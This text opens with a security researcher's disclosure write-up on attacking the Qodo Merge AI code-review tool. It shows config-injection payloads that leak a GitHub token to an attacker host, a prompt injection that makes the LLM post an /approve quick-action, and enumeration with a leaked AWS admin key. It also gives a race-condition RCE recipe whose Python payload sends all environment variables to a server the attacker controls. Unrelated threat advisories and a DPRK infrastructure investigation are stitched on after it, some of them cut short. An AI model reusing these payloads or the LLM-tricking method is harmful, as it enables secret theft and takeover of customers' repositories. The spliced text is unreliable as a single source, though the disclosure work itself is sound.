
In this blog post, we explain how we leaked Qodo Merge Pro's AWS secret key that had Administrator permissions and how we obtained Remote Code Execution on their GitHub app production server. A malicious attacker could have taken over their AWS infrastructure and with the attack on the GitHub app, gained write access to their customers' repositories for a massive supply chain attack.
This is a technical write-up of some of the vulnerabilities we disclosed at Black Hat USA last summer. It is part of a series of blog posts about security vulnerabilities we found in AI developer tools. This post also describes previously unreleased vulnerabilities. This is published for awareness purposes in the hopes that others can avoid similar vulnerabilities. Secondarily, we want to show how just knowing about prompt injection isn't enough. There needs to be a solid understanding of the environment, features, and systems involved to identify the risks in AI-powered applications. Otherwise, devastating impacts may go unidentified.
Note: All the vulnerabilities described in this blog post have been fixed as of October 2025.
Kudos to Qodo for quickly remediating these issues after reception of our responsible disclosure.
Since this blog post is a follow-up to events that took place last year, let's go through a quick recap.
In August 2024, I wrote about 2 vulnerabilities I found in Qodo Merge, an open-source AI code review tool. At the time this was published, the vulnerabilities were still exploitable. A few months later, I also gave a talk at 38C3 about those vulnerabilities. Then, I moved on to research vulnerabilities in other AI developer tools.
A few weeks later, after I wrapped up the research on CodeRabbit, I noticed that Qodo had pushed a fix to the exploit I disclosed at 38C3 and decided to look into it.
As a reminder, let's quickly detail what those 2 vulnerabilities were.
1) Our first Qodo Merge exploit allowed us to leak a GitHub access token used in a Qodo Merge GitHub Action. This token had write permissions to the repository so it could have been used to modify GitHub repositories that were using Qodo Merge as a GitHub Action with the default settings. That includes manipulating the git history, updating existing GitHub releases and performing lateral moves leading to potential leakage of GitHub repository secrets in certain cases.
The exploit was injected through a GitHub Pull Request (PR) comment. For example: the following comment could be posted on a PR to leak the GitHub access token to our attacker-controlled server at 1.2.3.4:

2) Our second exploit allowed for a privilege escalation on Gitlab quick-actions through a prompt injection. This affected people specifically using Qodo Merge on Gitlab projects. Indeed, we could trick an LLM into outputting a Gitlab quick-action such as "/approve" that would be posted by Qodo Merge on a Gitlab Merge Request (MR) comment. Gitlab would then execute the quick-action and, for example, approve a merge request with potentially more permissions than the user had. A malicious actor with low permissions could exploit this vulnerability to elevate their permissions and execute Gitlab quick actions with those elevated permissions (the ones of Qodo Merge). The image below explains this in more detail.

Now that the recap is done, let's continue with our story.
As mentioned earlier, Qodo pushed fixes to both exploits. We'll focus on the first one here, since this is the most interesting one. They added a list of forbidden arguments that couldn't appear in GitHub comments. Here is a list of the forbidden arguments introduced in that fix:
Since .base_url is now forbidden, this indeed blocks our original exploit because it contains .base_url:
/ask What does this do? --github.base_url=http://1.2.3.4However, this didn't fix the root issue. Let's see how this can be bypassed.
Qodo Merge uses a Python library called Dynaconf to handle its internal configuration. This is a convenient library for managing the configuration of an application because it's easy to use and it has useful features such as reading a set of key/value pairs from a configuration file.

Indeed, one can normally get and set key/value pairs on a Dynaconf object:
from dynaconf import Dynaconf
settings = Dynaconf()
key = "foobar"
value = 42
settings.set(key, value)
print(settings.get("foobar") == 42) # prints TrueAlternatively, the Dynaconf object can be built and populated with key/value pairs stored in a configuration file. This configuration file can be written in various formats supported by Dynaconf and one of them is TOML. This is the config file format that Qodo Merge uses.
For example, a configuration file named configuration.toml can have the following contents:
[some_table]
foo = "bar"
name = "John"
age = 42And a Dynaconf object that contains the key/values stored in the above configuration file can be created:
from dynaconf import Dynaconf
settings = Dynaconf(
settings_files=["configuration.toml"],
)
foo = settings.get("some_table.foo")
name = settings.get("some_table.name")
age = settings.get("some_table.age")
print(foo == "bar") # prints True
print(name == "John") # prints True
print(age == 42) # prints TrueNow that we're more familiar with Dynaconf, let's get back to Qodo Merge. Whenever a GitHub comment contains --key=value, Qodo Merge will set key to value in its internal Dynaconf object. So, in our exploit above, the following will be executed by Qodo Merge on its internal Dynaconf settings object:
settings.set("github.base_url", "http://1.2.3.4")But the fix that introduces forbidden arguments blocks this specific exploit.
However, it turns out that Dynaconf has advanced features that allow for unexpected behavior by default. Indeed, in addition to managing key-value pairs, Dynaconf will perform special transformations to a value when a key/value pair is inserted/modified, if the value contains specific syntax named Dynamic Variables.
For example, Dynaconf will convert JSON strings to a dict if it's prefixed with @json:
value = '@json {"foo": "bar"}'
settings.set("key", value)
print(settings.get("key") == dict(foo="bar"))
# prints "True"It will also evaluate Jinja expressions prefixed with @jinja:
value = "@jinja {{ 2 + 2 }}"
settings.set("key", value)
print(settings.get("key") == "4")
# prints "True"These features can be combined:
value = '@json @jinja { "two_plus_two": "{{ 2 + 2 }}" }'
settings.set("key", value)
print(settings.get("key") == dict(two_plus_two="4"))
# prints "True"Leveraging those Dynaconf features, we can rewrite our exploit so that it achieves the same goal as before, but without containing any of the forbidden arguments.
So, we go from this:
/ask who are you? --github.base_url=http://1.2.3.4To this:
/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}"
"--github.user_token=@jinja {{this.GITHUB_TOKEN}}"We reported this to Qodo and they pushed another fix which added .user to the list of forbidden arguments. Fixing security issues can be hard.
Indeed, this new fix blocked our bypass to the first fix, but it still didn't fix the root issue.
So, we wrote another exploit that achieved the same goal but without containing .base_url nor .user. This time we used another trick. We used a Jinja expression to modify the Dynaconf object directly using __setattr__().
We went from this:
/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}"
"--github.user_token=@jinja {{this.GITHUB_TOKEN}}"To this:
/ask who are you? "--github=@json @jinja {{\"{{\"[0]}}\"user_token\":\"
{{this.GITHUB_TOKEN}}\",\"BASE_URL\":\"http://1.2.3.4\"{{\"}}\"[0]}}"
"--github.foo=42"
"--github.foo=@jinja {{this.github.__setattr__(\"user_token\", this.GITHUB_TOKEN)}}"And the exploit still worked because it didn't contain any of the forbidden arguments. This cat and mouse game could have continued forever at this rate.
We reported this to Qodo and moved on. A few days later, I noticed that Qodo had a SaaS version of this tool called Qodo Merge Pro so I decided to have a look at it too.
While Qodo Merge is open source, Qodo Merge Pro is the SaaS version that comes as a GitHub app.
At the time I'm writing this, Qodo Merge Pro has over 15,000 installs. Upon installation, the user is asked to select on which repositories they would like to install Qodo Merge Pro. When doing this, the user grants Qodo read and write access to the selected repositories. The exact set of granted permissions is the following:
"permissions": {
"actions": "read",
"checks": "read",
"contents": "write",
"discussions": "write",
"issues": "write",
"metadata": "read",
"pull_requests": "write"
},Qodo Merge and Qodo Merge Pro have a feature that lets a user dump non-sensitive key/value pairs stored in the Dynaconf object. This can be achieved by writing /config in a comment. The app replies with a comment containing the key/value pairs.

Qodo Merge dumps the whole config object but takes care of removing any secrets, such as anything loaded from the .secrets.toml file, where Qodo Merge secrets are typically located, or specific keys such as LLM provider API keys for example. Here's a code snippet from Qodo Merge's code where the Dynaconf object to be dumped with /config is built:
def _prepare_pr_configs(self) -> str:
conf_file = get_settings().find_file("configuration.toml")
conf_settings = Dynaconf(settings_files=[conf_file])
configuration_headers = [header.lower() for header in conf_settings.keys()]
relevant_configs = {
header: configs for header, configs in get_settings().to_dict().items()
if (header.lower().startswith("pr_") or header.lower().startswith("config")) and header.lower() in configuration_headers
}
skip_keys = ['ai_disclaimer', 'ai_disclaimer_title', 'ANALYTICS_FOLDER', 'secret_provider', "skip_keys", "app_id", "redirect",
'trial_prefix_message', 'no_eligible_message', 'identity_provider', 'ALLOWED_REPOS',
'APP_NAME', 'PERSONAL_ACCESS_TOKEN', 'shared_secret', 'key', 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'user_token',
'private_key', 'private_key_id', 'client_id', 'client_secret', 'token', 'bearer_token', 'jira_api_token','webhook_secret']
partial_skip_keys = ['key', 'secret', 'token', 'private']
extra_skip_keys = get_settings().config.get('config.skip_keys', [])
if extra_skip_keys:
skip_keys.extend(extra_skip_keys)
skip_keys_lower = [key.lower() for key in skip_keys]Therefore we shouldn't find any secrets in the key/value pairs that are dumped. And so far, this was true. However, there was another way.
Qodo Merge Pro, just like Qodo Merge, allows users to place a configuration file at the root of the repository to overwrite some settings. Now, what if we overwrite some key/value pairs and combine that with Dynaconf special features? Now we're talking!
We placed a .pr_agent.toml file at the root of the repository with the following contents:
[pr_update_changelog]
extra_instructions="@format pwned: ```{env}```"What this does, is the same as running this code:
settings.set("pr_update_changelog.extra_instructions", "@format pwned: ```{env}```")The @format Dynaconf dynamic variable will be evaluated and {env} will be replaced with all the environment variables of the running process.
Next, we simply asked Qodo Merge Pro to dump its config again with /config and this is what we found:

All the environment variables were there on a very long single line. Here are the relevant pieces in a more readable format. Some irrelevant variables were omitted for brevity:
==================== PR_UPDATE_CHANGELOG ====================
pr_update_changelog.push_changelog_changes = False
pr_update_changelog.extra_instructions = "pwned: ```environ({
'CONFIG.APP_NAME': 'pr-agent-pro-github',
'CONFIG.ALLOWED_REPOS': '(CENSORED)',
'CONFIG.ANALYTICS_FOLDER': '/logs',
'PROMETHEUS_MULTIPROC_DIR': '/app/prometheus_metrics',
'PYTHON_SHA256': '24887b92e2afd4a2ac602419ad4b596372f67ac9b077190f459aba390faf5550',
'_': '/usr/local/bin/gunicorn',
'SERVER_SOFTWARE': 'gunicorn/22.0.0',
'TIKTOKEN_CACHE_DIR': '/usr/local/lib/python3.12/site-packages/litellm/litellm_core_utils/tokenizers',
'AWS_ACCESS_KEY_ID': 'AKI(CENSORED)',
'AWS_SECRET_ACCESS_KEY': '/l33t(CENSORED)',
'AWS_REGION_NAME': '(CENSORED)'
})```"
pr_update_changelog.add_pr_link = TrueThose environment variables notably contained an AWS secret key. But this was not a regular AWS secret key. It was a very l33t AWS secret key. Not just because its value started with /l33t but because of its permissions. Can you guess what permissions it had? Of course, AdministratorAccess :) Let's see how we can obtain this information.
Let's see how permissions can be listed with the AWS CLI tool. First we configure the CLI tool to use the leaked AWS Secret Key:
$ aws configure
AWS Access Key ID [None]: AKI(CENSORED)
AWS Secret Access Key [None]: /l33t(CENSORED)
Default region name [None]: (CENSORED)
Default output format [None]:Next, we check the user identity associated with this AWS secret key:
$ aws iam get-user
{
"User": {
"Path": "/",
"UserName": "Administrator",
"UserId": "(CENSORED)",
"Arn": "arn:aws:iam::(CENSORED):user/Administrator",
"CreateDate": "2022-08-07T12:54:51Z",
"PasswordLastUsed": "2025-03-18T08:19:15Z",
"Tags": [
{
"Key": "(CENSORED)",
"Value": "(CENSORED)"
}
]
}
}The user name is Administrator. That sounds pretty good so far. But let's get a confirmation.
We then enumerate groups the Administrator user is part of:
$ aws iam list-groups-for-user --user-name Administrator
{
"Groups": [
{
"Path": "/",
"GroupName": "Administrators",
"GroupId": "(CENSORED)",
"Arn": "arn:aws:iam::(CENSORED):group/Administrators",
"CreateDate": "2022-08-07T12:54:17Z"
}
]
}The Administrator user is in a group called Administrators (note that there's an "s" at the end). Finally, we list the group policies attached to the Administrators group:
$ aws iam list-attached-group-policies --group-name Administrators
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}The Administrators group has the AdministratorAccess policy attached. This is a built-in AWS policy that grants administrator privileges. This is now confirmed. We have leaked an AWS Secret Key with AdministratorAccess permissions, granting us full access to AWS services and resources in Qodo Merge Pro's AWS account!

After we responsibly disclosed this to Qodo, they eventually applied a proper fix to the issue. They disabled Dynaconf dynamic variables by setting the AUTO_CAST_FOR_DYNACONF environment variable to "false". This effectively disables Dynaconf dynamic variables such as interpreting @format, @json or @jinja. This finally fixes the root issue. Kudos to Qodo for fixing it.
But this was not the end. A few months later, as I was writing this blog post, I had another look at the Dynaconf website and noticed that Dynaconf supported .py files for configuration. I immediately thought that this could potentially be exploited.

The Dynaconf documentation contains an example showing how configuration files can include other configuration files. For example, a configuration.toml file could include another file named other.toml, or even another file in another format, such as a Python file named config.py. This can be achieved by placing a key named dynaconf_include with an associated value that is a list of paths to files that should be included, in a config file. So, that means we could have a .pr_agent.toml file at the root of a GitHub repository and if this file includes a .py file, Qodo Merge Pro will execute the code in the included Python file. Here's an example configuration file that would do this:
dynaconf_include = ["config.py"]
[default]
foo="bar"Now, for this to be exploitable by an attacker, an existing Python file that does something malicious when executed needs to exist locally on the Qodo Merge Pro GitHub app server. So far, we can execute any Python file which is already present on the file system. But there's not much we can do with existing files since there is no way pass arguments to those files. It would be much more interesting if we could write an arbitrary Python file and then execute it. This is where the /help_docs tool comes in.
Qodo Merge Pro recently introduced a new tool that can be invoked by writing a PR comment such as /help_docs some question?
This tool can be configured to git clone a repository that contains documentation files (for example Markdown files) so that when a user invokes the tool with /help_docs, the tool tries to answer the question based on the contents of the documentation files present in the git cloned repository. The repository is git cloned to a temporary directory with a random name under /tmp. Also, Qodo Merge Pro quickly deletes this directory as soon as it's done reading the files in it. There's a race condition to be exploited here if we can execute the Python file before it gets deleted.
Indeed, this can be exploited by crafting a documentation repository that contains a malicious Python file, then ask Qodo Merge Pro to answer a question based on this repository so that it git clones the repo to some directory in /tmp and therefore copies our malicious Python file somewhere under /tmp.
Now, this is not straightforward to exploit in the current configuration because the time window to trigger the dynaconf_include is very short since the git cloned repo gets deleted quickly after git clone is performed. But this operation can be delayed by adding 100,000 dummy .txt files in our documentation repository. Now Qodo Merge Pro will spend a few seconds going through all those files before deleting the temporary directory, leaving a much larger time window for exploitation.
The last missing piece to the puzzle is the precise location of our malicious Python file, since it gets cloned to a temporary directory with a random name, there's no way for an attacker to guess this filename in advance. Well, since dynaconf_include allows paths that contain globs, this is actually not a problem. A glob can be used to match any sub-directory that contains our Python file.
To recap, here are the detailed steps to exploit this vulnerability:
.pr_agent.toml in this repo with the following contents:dynaconf_include = ["/tmp/**/aaaa_some_unique_filename_very_unique.py"]
[default]
foo="bar".pr_agent.toml in this repo with the following contents:[pr_help_docs]
repo_url = "https://github.com/myusername/repoC.git"
docs_path = "docs" # The documentation folder
repo_default_branch = "main" # The branch to use in case repo_url overwritten
supported_doc_exts = [".md", ".mdx", ".rst"]docs folderdocs/md/foobar.md with dummy contentsdocs/other/file{1-100000}.txt where each file contains a single character, for example "a"docs/aaaa_some_unique_filename_very_unique.py with the following contents, where 1.2.3.4 is a web server that we control where we log incoming HTTP requests. Note that this file's contents can be replaced with any Python code that will be executed on the Qodo Merge Pro GitHub app server:import os
import json
import urllib.request
# send those env vars via http here
payload = dict(os.environ)
# Convert to JSON and encode
json_data = json.dumps(payload).encode("utf-8")
url = "http://1.2.3.4"
# Create a request with headers for JSON
req = urllib.request.Request(
url,
data=json_data,
headers={"Content-Type": "application/json"},
method="POST"
)
# Send the request and read the response
with urllib.request.urlopen(req) as response:
result = response.read().decode("utf-8")
FOO="BAR"On our server at 1.2.3.4 we received the leaked environment variables, which contained their AWS secret key, again! I was surprised to see that the AWS secret key was the same and that it had not been rotated since we disclosed the other vulnerability. Also, the key still had AdministratorAccess permissions. Again, we had full access to their AWS infrastructure but we also had a direct way to get RCE on the GitHub app production server now.
After we responsibly disclosed this new vulnerability to Qodo, they quickly fixed it.
Their fix disabled Dynaconf core_loaders and added a custom in-house loader that restores the default features but disallows includes, preloads and various other dangerous Dynaconf features an attacker may leverage. Here are the 2 pull requests that implemented this fix:
Qodo also rotated their AWS secret key. It's very important to rotate secrets as soon as they have been compromised. Even if a security researcher is not a malicious person, once the secret has been leaked, one should assume it's compromised. And since this secret gave access to other secrets, other secrets should be rotated too. AdministratorAccess is a very dangerous permission and one should follow the least privilege principle when granting permissions.
We were able to obtain the AWS Admin key of Qodo Merge Pro.
Let's reflect on what this means. A malicious person who has their hands on this AWS secret key could do a lot of damage.
Indeed, this means they could do the following, to name a few examples:
This is a serious vulnerability with critical impacts.
During round 3, we additionally obtained direct RCE on the Qodo Merge Pro Github App server. Therefore, not only letting us leak their AWS secret key (again) and have the same impacts as described above, but also execute arbitrary code on the machine directly. This means, the AWS key is not even needed to read/write to Qodo Merge Pro users' repositories in this case, since we have RCE on the production Qodo Merge Pro GitHub app machine, and this machine has access to user code.
We responsibly disclosed the first critical vulnerability to Qodo by email in April 2025. They acknowledged the issue and pushed a fix the next day. This is now fixed in Qodo Merge Pro.
What about the open source Qodo Merge? Qodo released v0.29 that includes a fix for this vulnerability on May 17. Therefore, this is now also fixed in the open-source version.
We also responsibly disclosed the second critical vulnerability (Round 3 - Dynaconf include + /help_docs) to Qodo by email in September 2025 and this is now fixed.
After the disclosure of the Round 3 vulnerability, Qodo stated that this leaked AWS secret key with admin permissions was for a development only environment where no customer data is stored. We sent them the list of EC2 instance names and secret names in their secrets manager, some of which contained "prod" in their name, suggesting that there may be some overlap between their development and production environments:
$ aws secretsmanager list-secrets | jq -r '.SecretList.[].Name'
******-prod-********-service-account
******-prod-**********-key
******-prod-*******-key
******-prod-******-auth
******-prod-******-auth
******-prod-******-key
******-prod-**********-token
****************************************************************************
****************************************************************************
****************************************************************************
****************************
**********
*************************
*******************
****************
****************
************************
**********************
********************
$ aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].Tags[?Key==`Name`].Value | []' \
--output text
**********************
*******************
******-prod-******
********************
************************
************************
**************
*****************
********
************
********
********************
*********************Qodo replied and said that these were misnamed.
Regardless of what environment the AWS secret gave access to, the RCE vulnerability on the production GitHub app server could have been exploited to get read and write access to customer repositories.
Here is a summary of the disclosure timeline:
Fixing security vulnerabilities can be hard. Blocking an exploit is one thing, but that may only be solving half of the problem. One should make sure to cover all variants of an exploit and address the root issue directly. Software developers often depend on third party libraries that have many features. One should review those dependencies carefully and make sure that the features offered by those libraries have been covered in the threat model.
Permissions are still a problem. While it may be convenient to have a key that unlocks all doors, if that key ends up in the wrong hands, the consequences can be devastating. When a secret is compromised, it should be rotated immediately. Once again, security should be built-in from day one and is a continuous process. It happens to everyone and it's not a matter of if, but a matter of when and whether you're prepared for it or not. Designing your systems so it minimizes the impacts in case of a compromise and having a plan ready in case of compromise is a good start.
Following a compilation of mail republished by @Sttyk we used Hudson rock to legitimate the data provided in this mail dump and found many artifacts that belong to DPRK IT Workers. In this article we will focus on a reconstituted infrastructure and the environment of this structure.
During our investigation we found that they use “IP-msg” or IP messenger an app used widely inside of their infrastructure to communicate between different teams, with that data, we added more context to our first finding where we only had local IPs.

It seems that they have a single unified network for everyone working as a foreign worker.
As noticed by NKinternet we mainly saw these ranges being used among IT workers, the ranges 188.43.88.0/24 ; 188.43.136.0/24 ; 83.234.227.0/24 are also used by many companies not related with North Korea at the time we are looking at these ranges.
In Russia we can say with moderate confidence that they contain both residential IP’s and Proxies because some IP addresses are related to legitimate companies, most of which are transport companies.
As found by NKinternet the note below gives us more context on the purpose of these public IP addresses.

From this note we pivoted with the password of the Hong Kong proxy provided and we found a private IP address linked to the network 192.168.91.XXX where we can find most proxies and servers.

We can note the usage of squid proxy by the port used “3128” and we can say with low confidence that unauthorized access are logged on the “rgr” log aggregator. Each proxy is used for different purposes for example 192.168.91[.]51:3128 is used to redirect telegram requests according to a “smart proxy” configuration file found on Hudson rock, there is another pool of proxy servers identified as “PTC2” on the port 808 these servers has been found on some IT workers web browser and saved credentials which is also used for their browsing, while we don’t understand the choice of getting multiple types of proxies to do the same thing which is redirecting the browsing traffic.


The mention “RB” which is a proxy as we can see on the chat logs has been mentioned on a message from “Victory” that we attribute as an IT administrator.


According to the urls accessed by the local users and the message from the IT administrator we can say that this specific server expose the port 80 to facilitate some internal tasks.
Inside this server they must indicate the following information:
“email” = A mail
“identifier” = A mail
“birth” = birth date
“Machine info” = Product key windows
“team” = It might be composed with [Department number + team number] [example 821-39]
“Username” = Internal name
“UserID” = ID declared on this serverTo coordinate all this workforce they have a centralized way to report such as the financial network segment that we can attribute by the name of the URLs visited found on their browser history. We noticed the usage of the same type of servers on other part of the infrastructure which seems to be for reporting purposes of their activities.

By using only the stealer logs pulled we were able to find chat logs from IP messenger, a software widely used among North Korean people.

Translation:
"Comrade Director says to work on that project together with [that] comrade. Have you reviewed the source code sent yesterday?"
With these chats we can see patterns such as north Korean patterns of languages such as “Comrade”, “Comrade + name, Comrade + function with an authoritative way to talk. It seems that not all chats are like that, North Korean IT workers switched to English surely to improve their skills because they need to improve their English to speak fluently during their job interview.

As the DPRK fake IT workers speak many languages mainly English, Korean, Chinese, Russian and Japanese it’s hard to know if they have access to the infrastructure remotely with a VPN or if they are all in the same place, we can say with low confidence that some employees have a remote access to this infrastructure based on diverse time zones set on their computer that can be also used to only look at the time easily to their target country, their google history to convert “myr” (Malaysia), “sgd” (Singapore), ”lpa” (India),“rmb” (China) currencies to USD See [Annex 1] and their travel to the same countries cited before.
Cholima group shared a chat log that we were not able to retrieve on their blog, it has been reshared by @Sttyk on X as a screenshot that we crossed with the report of MSMT. By adding the data of the screenshot and the data of the chat gathered on Hudson rock we were able to identify a few entities of the UN designated entities, please refer also to [Annex 3].

Here is a table of identified acronym with moderate confidence.
Hudson rock (for the stealer logs)
Recorded future platform (for the confirmation of residential proxies)
https://x.com/SttyK/status/1997411128897646988 (for the naming conventions see Annex 3)
[Department + Team number ]
Letters can be only the team without the number or a company acronym
A new wave of NPM supply-chain attacks, collectively named Sha1-Hulud 2.0, has compromised multiple high-profile package scopes, including Zapier and ENS Domains. The trojanized packages contain malicious preinstall scripts that harvest secrets from developer environments and CI pipelines, exfiltrate data through GitHub repositories and workflows, and attempt self-propagation. The campaign represents a major escalation in NPM ecosystem threats, blending stealthy loaders, automated spreading, and destructive fallback behavior.
(Partial List, for the full exhaustive list please see the appendix of https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains)
The attack is similar to its predecessor, and follows a similar flow with some minor changes. The attack format follows the steps below, and notably now includes the capability for destructive actions.
preinstall Executionbun_environment.js.cloud.json, environment.json).SHA1HULUD.discussion.yaml) that exfiltrate secrets.Shai-Hulud containing exfiltrated data (double-encoded).To reduce risk from the ongoing NPM supply chain attacks, the following is recommended:
npm cache clean --forceShai-Hulud.github/workflows/shai-hulud)The CFC is closely monitoring the ongoing campaign and will provide further updates as necessary. Additionally a threat hunting campaign will be launched based on any available IOC's.
The CFC is closely monitoring the ongoing campaign and will provide further updates as neccessary. Additionally a threat hunting campaign will be launched based on any available IoC's.
On 19–21 November 2025, Salesforce detected unusual and unauthorized activity associated with Gainsight-published Connected Apps installed in customer Salesforce orgs. This activity appears to involve OAuth token misuse, allowing threat actors to make API calls into customer environments through the delegated privileges of the Gainsight applications.
Salesforce responded by revoking all access and refresh tokens associated with Gainsight-published integrations and temporarily removing the applications from the AppExchange while investigations continue. Gainsight has acknowledged the incident and engaged Mandiant for forensic investigation.
Gainsight emphasizes that the issue is not caused by a vulnerability within Salesforce itself, but arises from external OAuth access to Salesforce via third-party applications. The threat actor ShinyHunters has claimed responsibility; attribution remains unverified.
Salesforce initially identified three impacted customer orgs, later expanded as the investigation continued (exact number not publicly disclosed).
The following actions should be prioritized immediately:
Immediate Containment
Log Review & Threat Hunting
Access Control Hardening
Third-Party Risk Controls
Communication & Stakeholder Coordination
Indicators of Compromise (IOCs) (from Salesforce Help Article ID 005229029)
In or around August 2025, F5 discovered that a sophisticated, likely nation‑state threat actor had gained and maintained persistent access to internal F5 systems. In particular, the actor appeared to be after product development and engineering knowledge bases. The attacker exfiltrated files which included source code and technical documentation related to F5’s BIG-IP, F5OS, and other similar offerings. F5 reports that they have contained the intrusion, engaged third‑party forensic/security firms, and begun providing upgraded software and guidance to customers. As of now, F5 states there is no confirmed evidence of exploitation of undisclosed vulnerabilities in customer environments.
It is important to note that theft of source code and internal design details raises the risk that new attack vectors or zero-day exploits could emerge over time.
Based on current statements from F5 the following are the product lines believed to be impacted or at risk:
Based on current details we know that the attackers maintained long-term access to F5's internal systems, which led to the exfiltration of files that included source coded, and undisclosed vulnerabilities. Per F5 they do not believe that the supply chain pipeline was tampered with, and that no code was modified to introduce backdoors. However, based on the duration and access that the adversaries had they would have gained deeper visibility into internal code, architectures, and possibly even development-time vulnerabilities. Given that this notice was released alongside the Quarterly Security Notification (K000156572), and include newly released vulnerabilities, it is possible that they may be tied to this. Below are two such recent vulnerabilities which highlight that functionality modules may be attacked via malformed inputs, possibly leveraging knowledge gained from exfiltrated code:
bd process may terminate, causing availability problems. Affects versions prior to certain patched releases (e.g. < 17.5.1.3, < 17.1.3, < 16.1.6.1).bd when a security policy is configured on a virtual server.While F5 works to remediate and support customers, the following mitigations can reduce potential exposure:
The CFC is actively monitoring the situation and will continue to research and provide our findings. Additionally, we have implemented increased awareness for activity involving F5 BIG-IP. At this time, the main recommendations are to do the following:
The Zero Day Initiative (ZDI) has publicly disclosed 13 unpatched zero-day vulnerabilities affecting Ivanti Endpoint Manager. These vulnerabilities were privately reported to Ivanti between June and November 2024, but released publicly after the vendor failed to provide patches within a timeline acceptable to ZDI. The two most critical bugs offer attackers unauthenticated remote code execution (ZDI-25-935) and escalation to SYSTEM-level privileges (ZDI-25-947), while the remaining 11 are post-authentication SQL injection flaws that could lead to further remote or arbitrary code execution. These vulnerabilities represent a significant risk as two or more could be chained together to achieve full system compromise.
Ivanti Endpoint Manager: all currently supported versions, cloud and on-prem.
The disclosed vulnerabilities consist of:
Until official patches are released by Ivanti, recommended actions include:
The CFC will continue monitoring the situation surrounding these vulnerabilities. Exploration of threat hunting possibilities is ongoing. An advisory update will be issued if new information becomes available that could further impact affected systems or require additional mitigation steps.
A new self-propagating malware campaign, codenamed SORVEPOTEL, has been identified targeting Brazilian users through the popular messaging app WhatsApp. This campaign, primarily affecting Windows systems, is engineered for rapid propagation rather than data theft or ransomware. The malware exploits the trust associated with WhatsApp to spread quickly across enterprise environments, leading to account suspensions due to excessive spam activity.
The CFC is currently:
SonicWall has issued security guidance in response to a recent incident involving suspicious activity targeting its cloud backup service for firewalls. An investigation revealed that threat actors accessed backup firewall preference files stored in the cloud. While the credentials in these files were encrypted, they contained potentially sensitive information that could be used to exploit related firewalls. This breach has affected less than 5% of SonicWall's firewall install base.
The affected systems are SonicWallFirewalls that use the cloud backup feature through MySonicWall.com.
Specifically, any firewalls that had their backup preference files stored in the cloud are potentially impacted.
The investigation discovered that the breach involved threat actors gaining access to encrypted firewall preference files, which are stored in the cloud as part of the SonicWall cloud backup service. Although the files are encrypted, they contained information that could facilitate the exploitation of the corresponding firewall devices.
The sensitive data within these files includes, but may not be limited to:
Although no unencrypted data was found, the exposure of these files increases the risk of future exploitation, especially if the attackers are able to further decrypt or misuse the information.
SonicWall has provided the following mitigation steps for affected users:
The Cyber Fusion Center (CFC) is actively engaged in monitoring the situation surrounding the compromised SonicWall backup firewall preference files. An advisory update will be issued if new indicators, techniques, or escalations are identified that could further impact affected systems or require additional mitigation steps.
https://thehackernews.com/2025/09/sonicwall-urges-password-resets-after.html
A coordinated supply chain attack has compromised more than 40 NPM packages, including several published under the CrowdStrike publisher account.
The attack works by injecting a malicious script, bundle.js, into selected packages. The injection process involves downloading a package tarball, modifying its package.json to include the malicious script, then repackaging and publishing the trojanized version.
The malware specifically targets the following systems to harvest credentials:
Regarding the affected packages these were quickly removed by the npm registry.
It is important to note that, In the case of CrowdStrike-affected packages, the malicious versions were also removed, and a monitoring alert has been issued. CrowdStrike is actively watching the sitaution.
The attack primarily targets the following NPM packages.
Regarding CrowdStrike npm packages, they have issued a Tech Alert named NPM Package in Public Registries:
"After detecting several malicious Node Package Manager (NPM) packages in the public PM registry, a third-party open source repository, we swiftly removed them and proactively rotated our keys in public registries. These packages are not used in the Falcon sensor, the platform is not impacted and customers remain protected. We are working with NPM and conducting a thorough investigation. This tech alert will be updated with the results of our investigation and updates as we have them."
Below is the affected list. These were publised under crowdstrike-publisher npm account.
1. Package Compromise / Injection
2. Reconnaissance & Environment Pro!ling
3. Secret / Credential Harvesting
4. Propagation / Lateral Movement in NPM
5. Persistence via GitHub Actions Backdoor
6. Data Exfiltration
To reduce risk from the ongoing NPM supply chain attacks, including those impersonating CrowdStrike packages, implement the following mitigation strategies:
1. Rotate All Tokens & Keys:
2. Lock or Pin Package Versions:
3. Inspect Postinstall / Preinstall Scripts:
4. Monitor NPM Publish Events:
5. Audit Cloud & Secret Manager Access Logs:
6. Check for Malicious GitHub Work"ows / Branches:
7. Implement Least Privilege in CI/CD & Developer Environments:
The following indicators can help identify systems affected by this attack:
Search for malicious workflow file
Search for malicious branch. To find malicious branches, you can use the following Bash script:
# List all repos and check for shai-hulud branch
gh repo list YOUR_ORG_NAME --limit 1000 --json nameWithOwner --jq '.
[].nameWithOwner' | while read repo; do
gh api "repos/$repo/branches" --jq '.[] | select(.name == "shai-hulud") |
"'$repo' has branch: " + .name'
doneFile Hashes
Network Indicators
File System Indicators
Suspicious Function Calls
Suspicious API Calls
Suspicious Process Executions
The CFC has launched a threat hunting campaign. The objective of this hunt is to identify artifacts and indicators related to the "Shai-Hulud" worm.
https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised
https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages
https://www.stepsecurity.io/blog/introducing-the-npm-package-cooldown-check
https://docs.stepsecurity.io/artifact-monitor
In late August 2025, our Incident Response team was engaged to investigate suspicious activity within a customer’s network located in the South Asia region. The initial signs pointed to a targeted intrusion, and forensic analysis quickly confirmed the involvement of MuddyWater, a threat actor publicly linked to the Iranian Ministry of Intelligence and Security (MOIS).
The attacker made use of a previously seen PowerShell-based malware, legitimate remote monitoring and management (RMM) tools, and living-off-the-land techniques to maintain access and move laterally. The activity observed was consistent with MuddyWater’s known tactics, techniques, and procedures (TTPs), as documented in prior public reporting and threat intelligence sources.
The following diagram summarizes the attack graph as observed by our incident response team:
.avif)
This report outlines the findings from our investigation, including technical analysis of the attacker’s methods, Indicators of Compromise (IOCs) and malware tooling.
